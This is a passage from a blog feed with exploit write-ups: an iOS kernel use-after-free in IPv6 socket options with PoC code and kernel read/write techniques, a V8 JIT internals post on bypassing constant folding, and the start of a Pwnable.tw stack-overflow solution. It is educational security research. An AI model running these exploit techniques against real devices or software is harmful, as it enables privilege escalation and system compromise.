(inp->inp_options != <span class="literal">NULL</span>) {</span><br><span class="line">truetruetrue(<span class="keyword">void</span>) m_free(inp->inp_options); <span class="comment">// <- good</span></span><br><span class="line">truetruetrueinp->inp_options = <span class="literal">NULL</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这里在进行资源释放的时候没有把<code>inp->in6p_outputopts</code>指向空,但是在<code>socket</code>断连再连接的时候就会造成<code>UAF</code>了,我看了一下<code>ip6_freepcbopts</code>这个函数,他将<code>in6p_outputopts</code>中的资源逐个释放并指向空,但很可惜忽略了他的上层。</p>
<p>我们的poc如下:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">DanglingOptions::DanglingOptions() : dangling_(<span class="literal">false</span>) {</span><br><span class="line"> s_ = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);</span><br><span class="line"> <span class="keyword">if</span> (s_ < <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"failed to create socket!\n"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 保证我们释放之后还可以进行setsockopt操作</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">so_np_extensions</span> <span class="title">sonpx</span> = {</span>.npx_flags = SONPX_SETOPTSHUT,</span><br><span class="line"> .npx_mask = SONPX_SETOPTSHUT};</span><br><span class="line"> <span class="keyword">int</span> res = setsockopt(s_, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, <span class="keyword">sizeof</span>(sonpx));</span><br><span class="line"> <span class="keyword">if</span> (res != <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"failed to enable setsockopt after disconnect!\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">int</span> minmtu = <span class="number">-1</span>;</span><br><span class="line"> </span><br><span class="line"> SetMinmtu(&minmtu);</span><br><span class="line"> FreeOptions();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">DanglingOptions::FreeOptions</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (dangling_) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> dangling_ = <span class="literal">true</span>;</span><br><span class="line"> <span class="comment">//这个时候in6p_outputopts就已经被我们释放掉了</span></span><br><span class="line"> <span class="keyword">int</span> res = disconnectx(s_, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">return</span> res == <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="0x2总体思路"><a class="markdownIt-Anchor" href="#0x2总体思路"></a> 0x2总体思路</h1>
<p>整个利用的总体结构如下:</p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g59nlkvcmbj30l80jojrz.jpg" alt></p>
<p>整体的结构还是比较好理解的,与之前的利用不一样的是,这里提出了几个不一样的技巧:</p>
<ol>
<li>fdofiles</li>
</ol>
<p>我们知道在一个进程的上下文中应该是会记录了这个进程打开的文件数量,有一个<code>array</code>来记录这些数据,这里正是利用了这一点,来获取管道的内核地址:</p>
<blockquote>
<p>task -> proc -> fd table -> open files array (fd_ofiles)</p>
<p>fd_ofiles -> fileproc -> f_fglob -> fg_data -> pipe -> pipe buffer</p>
</blockquote>
<p>其中<code>fake port</code>的管道内核地址是为了构造<code>kernel task</code>,<code>uaf pipe</code>是为了释放掉它的<code>buffer</code>重新填充</p>
<ol start="2">
<li>20字节的任意地址读</li>
</ol>
<p>首先来看看我们重用的那个对象的结构体:</p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g59tuwlkgwj30b207sq35.jpg" alt></p>
<p>其中<code>pktinfo</code>是一个<code>union</code>,包含了<code>128 bit</code>的ipv6地址和一个4字节的整型<code>index</code>:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">in6_pktinfo</span> {</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">in6_addr</span> <span class="title">ipi6_addr</span>;</span> <span class="comment">/* src/dst IPv6 address */</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> ipi6_ifindex; <span class="comment">/* send/recv interface index */</span></span><br><span class="line"> };</span><br></pre></td></tr></table></figure>
<p>通过<code>getsockopt</code>中执行的对应<code>option</code>我们可以拿到这20字节的数据,也就是意味着每次我们通过触发UAF,然后将我们想要读取的内核地址数据堆喷上去,然后通过<code>api</code>再读回来。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//通过控制option name来取不同的属性</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">DanglingOptions::GetIPv6Opt</span><span class="params">(<span class="keyword">int</span> option_name, <span class="keyword">void</span> *data, <span class="keyword">socklen_t</span> size)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> res = getsockopt(s_, IPPROTO_IPV6, option_name, data, &size);</span><br><span class="line"> <span class="keyword">if</span> (res != <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"GetIpv6Opt got %d\n"</span>, errno);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//buffer是我们堆喷的数据</span></span><br><span class="line"><span class="built_in">memcpy</span>(buffer.get() + OFFSET(ip6_pktopts, ip6po_pktinfo), &address_uint,</span><br><span class="line"> <span class="keyword">sizeof</span>(<span class="keyword">uint64_t</span>));</span><br></pre></td></tr></table></figure>
<p>可能不了解总的结构体的话还是会有些模糊:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ip6_pktopts</span> {</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">mbuf</span> *<span class="title">ip6po_m</span>;</span> <span class="comment">/* Pointer to mbuf storing the data */</span></span><br><span class="line"> <span class="keyword">int</span> ip6po_hlim; <span class="comment">/* Hoplimit for outgoing packets */</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">/* Outgoing IF/address information */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">in6_pktinfo</span> *<span class="title">ip6po_pktinfo</span>;</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">/* Next-hop address information */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ip6po_nhinfo</span> <span class="title">ip6po_nhinfo</span>;</span></span><br><span class="line"> </span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ip6_hbh</span> *<span class="title">ip6po_hbh</span>;</span> <span class="comment">/* Hop-by-Hop options header */</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">/* Destination options header (before a routing header) */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ip6_dest</span> *<span class="title">ip6po_dest1</span>;</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">/* Routing header related info. */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ip6po_rhinfo</span> <span class="title">ip6po_rhinfo</span>;</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">/* Destination options header (after a routing header) */</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">ip6_dest</span> *<span class="title">ip6po_dest2</span>;</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">int</span> ip6po_tclass; <span class="comment">/* traffic class */</span></span><br><span class="line"> <span class="comment">//获取port的内核地址就是用了这个属性,minmtu取到高32位,prefer_tempaddr取到低32位(小端模式),通过((uint64_t)minmtu << 32) | prefer_tempaddr 操作最后算出地址</span></span><br><span class="line"> <span class="keyword">int</span> ip6po_minmtu; <span class="comment">/* fragment vs PMTU discovery policy */</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">int</span> ip6po_prefer_tempaddr; <span class="comment">/* whether temporary addresses are</span></span><br><span class="line"><span class="comment"> preferred as source address */</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">int</span> ip6po_flags;</span><br><span class="line"> };</span><br></pre></td></tr></table></figure>
<p>任意地址读相当于是用我们想要读取的数据覆盖<code>ip6po_pktinfo</code>指针,所以在取的时候会对这个指针的值解引用然后读取20字节的数据回来。这个做法很精妙但是不通用,只是针对于这个结构体而言的。</p>
<ol start="3">
<li>uaf_pipe</li>
</ol>
<p>我们虽然构造了一个<code>fake port</code>但是苦于没有一个合法的<code>port name</code>进行操纵,所以就算我们把<code>kernel task</code>全都<code>dump</code>到了我们的<code>fake task</code>,也没办法进行任意地址读写,这里提出了一个新的<code>UAF pipe</code>,创建之后我们先通过任意地址读拿到它的内核地址信息,然后将它的<code>buffer</code>给释放掉,注意这里释放的只是<code>buffer</code>,而不是<code>pipe</code>。</p>
<p>再通过堆喷大量的<code>ool ports</code>占据这块<code>buffer</code>,那么这个时候<code>buffer</code>中应该包含着刚刚堆喷的<code>port</code>的内核地址,最后将<code>uaf pipe</code>的首8个字节改写为<code>fake port</code>的地址,这就相当于我们拥有了一个可以操控<code>fake port</code>的<code>port name</code>了,最后我们接受消息,判断<code>port name</code>是否合法,如果合法说明我们已经拥有了最后的内核地址读写的权限了。</p>
<ol start="4">
<li>heap spray</li>
</ol>
<p>我们知道做堆喷是有多种方式的,这里选择每一种都是有原因的,<code>ool ports</code>是为了<code>port name</code>,<code>IOSurface</code>是因为用起来很舒服,比较自由 ,所以除非是为了<code>fake port</code>,我们用的都是<code>IOSurface</code>的<code>set_value</code>。</p>
<p>最后我对于C++写的实在有点难受,另外好久也没写利用了,有点手生,所以在Mac上用C写了一下:</p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g5ax1hx0bjj31om0note6.jpg" alt></p>
<h1 id="0x3参考链接"><a class="markdownIt-Anchor" href="#0x3参考链接"></a> 0x3参考链接</h1>
<p><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1806" target="_blank" rel="noopener">bugs.chromium</a></p>
]]></content>
<tags>
<tag> 漏洞 </tag>
</tags>
</entry>
<entry>
<title><![CDATA[JavaScript in V8]]></title>
<url>/2019/07/08/JavaScript-in-V8/</url>
<content type="html"><![CDATA[<p>the pic can not show up but if you really wanna see you can use the pic link, that should be fine.I am a fresh guy in this area and this is my first blog so the logic may be kind of confusing,sorry about that.</p>
<a id="more"></a>
<h1 id="javascript-memory-layout"><a class="markdownIt-Anchor" href="#javascript-memory-layout"></a> JavaScript Memory Layout</h1>
<p><code>JavaScript</code>is a dynamic language,which means its property can be added or deleted dynamically,most of the JavaScript interpreter use a hash func to calculate the memory address to store the object struct.Obviously it can waste a lot of computional resources thus that’s why js is slow.</p>
<h2 id="hidden-class"><a class="markdownIt-Anchor" href="#hidden-class"></a> hidden class</h2>
<p>In order to optimize,V8 add the hidden class which is quite simple to understand.When a class is defined ,we store a pointer point to the <code>hidden class</code>(the pointer is the Map),everytime we add the new property,it would create a new <code>hidden class</code>,this time we use the hidden class and the offset to get the address, that’s quite similar to the <code>Java runtime</code> and <code>cpp vtable</code>.</p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g5p0lyctysj314i0k2mz9.jpg" alt></p>
<p>This would lead to another question——> How about two instances with the same properties but add in different order</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span></span>{}</span><br><span class="line"><span class="keyword">var</span> obj1 = <span class="keyword">new</span> Test();</span><br><span class="line"><span class="keyword">var</span> obj2 = <span class="keyword">new</span> Test();</span><br><span class="line"></span><br><span class="line">obj1.x=<span class="number">1</span>;</span><br><span class="line">obj1.y=<span class="number">2</span>;</span><br><span class="line"></span><br><span class="line">obj2.y=<span class="number">2</span>;</span><br><span class="line">obj2.x=<span class="number">1</span>;</span><br></pre></td></tr></table></figure>
<p>Why would the two objects have different hidden class?</p>
<h2 id="inline-cache"><a class="markdownIt-Anchor" href="#inline-cache"></a> inline cache</h2>
<p>The reason here is because of the cache.When we access the same func or property a lot of times,it’s really a waste of time to calculate the address every time,we will just use the address stored in the pointer with the offset <a href="http://instead.So" target="_blank" rel="noopener">instead.So</a> if <code>obj1</code> and <code>obj2</code> has the same struct,we can’t get the right information we <a href="http://want.It" target="_blank" rel="noopener">want.It</a>’s similar to the <code>cached_bucket</code> in OC if you have once wrote the ROP by <code>Objective-C</code>.</p>
<p>Actually,those reasons could be quite simple if we are good at drawing inferences about other cases from one instance.</p>
<h2 id="procedure-in-v8"><a class="markdownIt-Anchor" href="#procedure-in-v8"></a> Procedure in V8</h2>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g4tednkcy5j31jk143n4p.jpg" alt></p>
<p>Above is the outline of how V8 engine is working,from the source code to AST,and then TurboFan produce the high speed machine code,we can see that through the <code>runtime function</code>.</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">f</span>(<span class="params">o</span>)</span>{</span><br><span class="line">true<span class="keyword">var</span> obj = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>];</span><br><span class="line">true<span class="keyword">var</span> x = <span class="built_in">Math</span>.ceil(<span class="built_in">Math</span>.random());</span><br><span class="line">true<span class="keyword">return</span> obj[x+o];</span><br><span class="line">}</span><br><span class="line">%DisassembleFunction(f);</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span> ; i < <span class="number">0x10000</span> ; i++){</span><br><span class="line">truef(i);</span><br><span class="line">}</span><br><span class="line">%DisassembleFunction(f);</span><br></pre></td></tr></table></figure>
<p>use <code>v8 --allow-natives-syntax xx.js</code> to run the code above,you can find the changes clearly:</p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g4teksxikoj30fo066gmc.jpg" alt="before"></p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g4telplxhwj30e006oq3m.jpg" alt="after"></p>
<p>Besides,v8 provides a large quantity of runtime functions, the directory is at <code>src/runtime</code>,or you can just grep.</p>
<h2 id="stable-mode-and-dictionary-mode"><a class="markdownIt-Anchor" href="#stable-mode-and-dictionary-mode"></a> Stable mode and Dictionary mode</h2>
<p>we can find something weird through a benchmark:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">createObjects</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> [</span><br><span class="line"> {<span class="attr">x</span>: <span class="number">1</span>, <span class="attr">y</span>: <span class="number">2</span>, <span class="attr">z</span>: <span class="number">3</span>}, </span><br><span class="line"> {<span class="attr">a</span>: <span class="number">1</span>, <span class="attr">b</span>: <span class="number">2</span>, <span class="attr">c</span>: <span class="number">3</span>}</span><br><span class="line"> ];</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span>(<span class="params">obj</span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i < <span class="number">100</span>; i++) {</span><br><span class="line"> sum += obj.a + obj.c;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> sum;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//case 1</span></span><br><span class="line"><span class="keyword">var</span> pair = createObjects();</span><br><span class="line"><span class="keyword">delete</span> pair[<span class="number">0</span>].y;</span><br><span class="line">test(pair[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">//case2</span></span><br><span class="line"><span class="keyword">var</span> pair = createObjects();</span><br><span class="line"><span class="keyword">delete</span> pair[<span class="number">1</span>].b;</span><br><span class="line">test(pair[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure>
<p>Generally,the latter is almost three or four times faster than the <a href="http://former.To" target="_blank" rel="noopener">former.To</a> explain that, we should know about the two modes to access the JavaScript object in V8:</p>
<ol>
<li>Dictionary Mode</li>
</ol>
<p>the slow one use the hash table to store the properties of the object so that we can also call it the hash mode</p>
<ol start="2">
<li>Stable Mode</li>
</ol>
<p>the fast one use C struct and the offset just like the vtable in cpp.</p>
<p>When we first create an object,it’s the fast mode.Only if we delete the property which is not added the last or add too much element dynamically,it will degenerate to the slow mode.</p>
<p>I test that by lldb,using v8-debug-7.1.xx:</p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g5ozqm0ryfj30yw0rqq8t.jpg" alt></p>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g5ozr7vuxtj30zk0pqq8o.jpg" alt></p>
<p>it’s quite clear that when we delete the origin property “x”,its mode degenerate to the dictionary mode.</p>
<h2 id="speculation-guards"><a class="markdownIt-Anchor" href="#speculation-guards"></a> Speculation Guards</h2>
<p>At first,we will do the speculative compilation,that’s quite simple so that’s focus on the later stage—>the guards</p>
<p>The compiler has some ways to verify its speculations,that’s just with a short piece of machine code:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">; Ensure is Smi</span><br><span class="line">test rdi, 0x1</span><br><span class="line">jnz bailout</span><br><span class="line"></span><br><span class="line">; Ensure has expected Map</span><br><span class="line">cmp QWORD PTR [rdi-0x1], 0x12345601</span><br><span class="line">jne bailout</span><br></pre></td></tr></table></figure>
<p>i have’t talked about how v8 verifies the type, you can search about the <code>tagged pointer</code>, maybe i will add that part later in my blog.OK,that’s move on, if the check fails ,it will perform a bailout to interpreter and likely to<br>
discard of the compiled <a href="http://code.In" target="_blank" rel="noopener">code.In</a> that case, the function would be re-compiled to perform a polymorphic property load</p>
<h2 id="bypass-constantfold-in-exp"><a class="markdownIt-Anchor" href="#bypass-constantfold-in-exp"></a> bypass constantfold in exp</h2>
<p>the thought to bypass constant fold is quite interesting, i think that means <code>hide your information</code>.</p>
<p>Firstly, constant fold is normal in the optimizations of compiler,for instance:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> arr = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>]</span><br><span class="line"><span class="keyword">let</span> idx = <span class="number">4</span></span><br><span class="line"><span class="keyword">return</span> arr[idx];</span><br></pre></td></tr></table></figure>
<p>If you know a little about assembly,you will know that the code above is likely to use some registers,add operator,etc every time we enter the <a href="http://block.In" target="_blank" rel="noopener">block.In</a> order to be faster,the compiler will translate the code to(But actually if our index is valid , the fold won’t happen,and i don’t know why for now):</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//and after LoadElimination the LoadElement node will disappear because of the fold</span></span><br><span class="line"><span class="keyword">return</span> arr[<span class="number">4</span>];</span><br></pre></td></tr></table></figure>
<p>It’s quite clear now so that’s get into the bypass way,maybe someone is confused about what does <code>hide your information</code> mean,if we make some operations like below:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> arr = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>]</span><br><span class="line"><span class="keyword">let</span> idx = <span class="number">4</span></span><br><span class="line"><span class="comment">//the range of & is (0,min(a,b))</span></span><br><span class="line">idx &= <span class="number">0xfff</span>;</span><br><span class="line"><span class="keyword">return</span> arr[idx];</span><br><span class="line"><span class="comment">//Load Element node still exist means no fold happens</span></span><br></pre></td></tr></table></figure>
<p><img src="https://ws1.sinaimg.cn/large/006y1smsly1g5q1i4pgi1j326k0uqaf4.jpg" alt></p>
<p>At this time the analyzer can not determine the range of checkBound(from <code>(4,4)</code>to <code>(0,4)</code>),and we also have the better choice—>escape analysis:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//case 1 Off-by-One 强网杯</span></span><br><span class="line">arr = [<span class="number">1</span>]</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> o = {<span class="attr">x</span>: <span class="number">1</span>, <span class="attr">y</span>:<span class="number">2</span>};</span><br><span class="line"> <span class="keyword">return</span> arr[o.x]</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//case 2 oob 35C3 CTF</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params">x</span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> a = [<span class="number">0.1</span>, <span class="number">0.2</span>, <span class="number">0.3</span>, <span class="number">0.4</span>];</span><br><span class="line"> <span class="keyword">let</span> o = {<span class="attr">mz</span>: <span class="number">-0</span>};</span><br><span class="line"> <span class="keyword">let</span> b = <span class="built_in">Object</span>.is(<span class="built_in">Math</span>.expm1(x), o.mz);</span><br><span class="line"> <span class="keyword">return</span> a[b * <span class="number">1337</span>];</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>If we just return the a[index] straight forward, we would just get the value <code>undefined</code> because of constant fold.Using an object’s property to get the index value, the analyzer sees <code>o.mz</code> as an access to a field through an object reference: it doesn’t know anything about its type because it can’t make assumptions on <code>o</code>.</p>
<h1 id="links"><a class="markdownIt-Anchor" href="#links"></a> Links</h1>
<p><a href="https://zhuanlan.zhihu.com/p/28780798" target="_blank" rel="noopener">zhihu</a></p>
<p><a href="http://phrack.org/papers/jit_exploitation.html" target="_blank" rel="noopener">jit exploition</a></p>
]]></content>
<tags>
<tag> Browser </tag>
</tags>
</entry>
<entry>
<title><![CDATA[Pwnable.tm题解]]></title>
<url>/2019/06/21/Pwnable-tm%E9%A2%98%E8%A7%A3/</url>
<content type="html"><![CDATA[<p>simple pwn</p>
<a id="more"></a>
<h1 id="pwnabletw题解"><a class="markdownIt-Anchor" href="#pwnabletw题解"></a> Pwnable.tw题解</h1>
<p>最近重建了博客,放了一下之前写的,通过科学上网体验更佳,有些图我用Twitter做的外链</p>
<h2 id="start"><a class="markdownIt-Anchor" href="#start"></a> start</h2>
<p>这道题目网上有很多的题解,但是基本都没有说的很清楚,所以我决定以非常入门,非常清晰的思路去讲解一下这道<code>Pwn</code>的入门题目:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">public _start</span><br><span class="line">_start proc near</span><br><span class="line">push esp</span><br><span class="line">push offset _exit</span><br><span class="line">xor eax, eax</span><br><span class="line">xor ebx, ebx</span><br><span class="line">xor ecx, ecx</span><br><span class="line">xor edx, edx</span><br><span class="line">push 3A465443h</span><br><span class="line">push 20656874h</span><br><span class="line">push 20747261h</span><br><span class="line">push 74732073h</span><br><span class="line">push 2774654Ch</span><br><span class="line">mov ecx, esp ; addr</span><br><span class="line">mov dl, 14h ; len</span><br><span class="line">mov bl, 1 ; fd</span><br><span class="line">mov al, 4</span><br><span class="line">int 80h ; LINUX - sys_write</span><br><span class="line">xor ebx, ebx</span><br><span class="line">mov dl, 3Ch</span><br><span class="line">mov al, 3</span><br><span class="line">int 80h ; LINUX - sys_read</span><br><span class="line">add esp, 14h</span><br><span class="line">retn</span><br></pre></td></tr></table></figure>
<p>直接来上汇编代码吧,这其中有三个系统调用,并且没有<code>main</code>函数,所以应该是内联汇编写的,大概翻译一下就是:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//read 和 write 系统调用都是采用中断的方式调用的</span></span><br><span class="line">write(<span class="number">1</span>,buf,<span class="number">0x14</span>);</span><br><span class="line">read(<span class="number">0</span>,buf,<span class="number">0x3c</span>);</span><br><span class="line"><span class="built_in">exit</span>();</span><br></pre></td></tr></table></figure>
<p>这个时候的栈结构大概就是(至于为什么是这样就不解释了):</p>
<p><img src="https://s2.ax1x.com/2019/06/21/ZSJvrV.png" alt></p>
<p><code>write</code>系统调用的作用就是把当前栈顶的数据给打印出来,<code>bin</code>里的调用打印长度为<code>0x14</code>,这也就刚好和我们看到的对上了,但是下面的<code>read</code>系统调用却可以读进<code>0x3c</code>个字节,显然会造成一个栈溢出,所以首先我们要做的就是<code>leak</code>基址</p>
<p>因为<code>write</code>可以打印栈顶<code>0x14</code>的数据,所以应该劫持控制流到这个函数的位置,所以我们第一步构造的<code>payload</code>应该为</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 'A'*20是因为有add esp,0x14,sys_write_addr可以从ida中获取</span></span><br><span class="line">payload = <span class="string">'A'</span>*<span class="number">20</span> + sys_write_addr</span><br></pre></td></tr></table></figure>
<p>这样当继续执行汇编指令到<code>add esp,0x14</code>是,此时<code>esp</code>就指向原来的<code>exit</code>,此时已经被<code>sys_write_addr</code>覆盖,然后执行<code>ret</code>,将栈顶弹给<code>eip</code>,相当于跳回了:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mov ecx, esp ; addr <-------jmp_addr</span><br><span class="line">mov dl, 14h ; len</span><br><span class="line">mov bl, 1 ; fd</span><br><span class="line">mov al, 4</span><br><span class="line">int 80h ; LINUX - sys_write</span><br></pre></td></tr></table></figure>
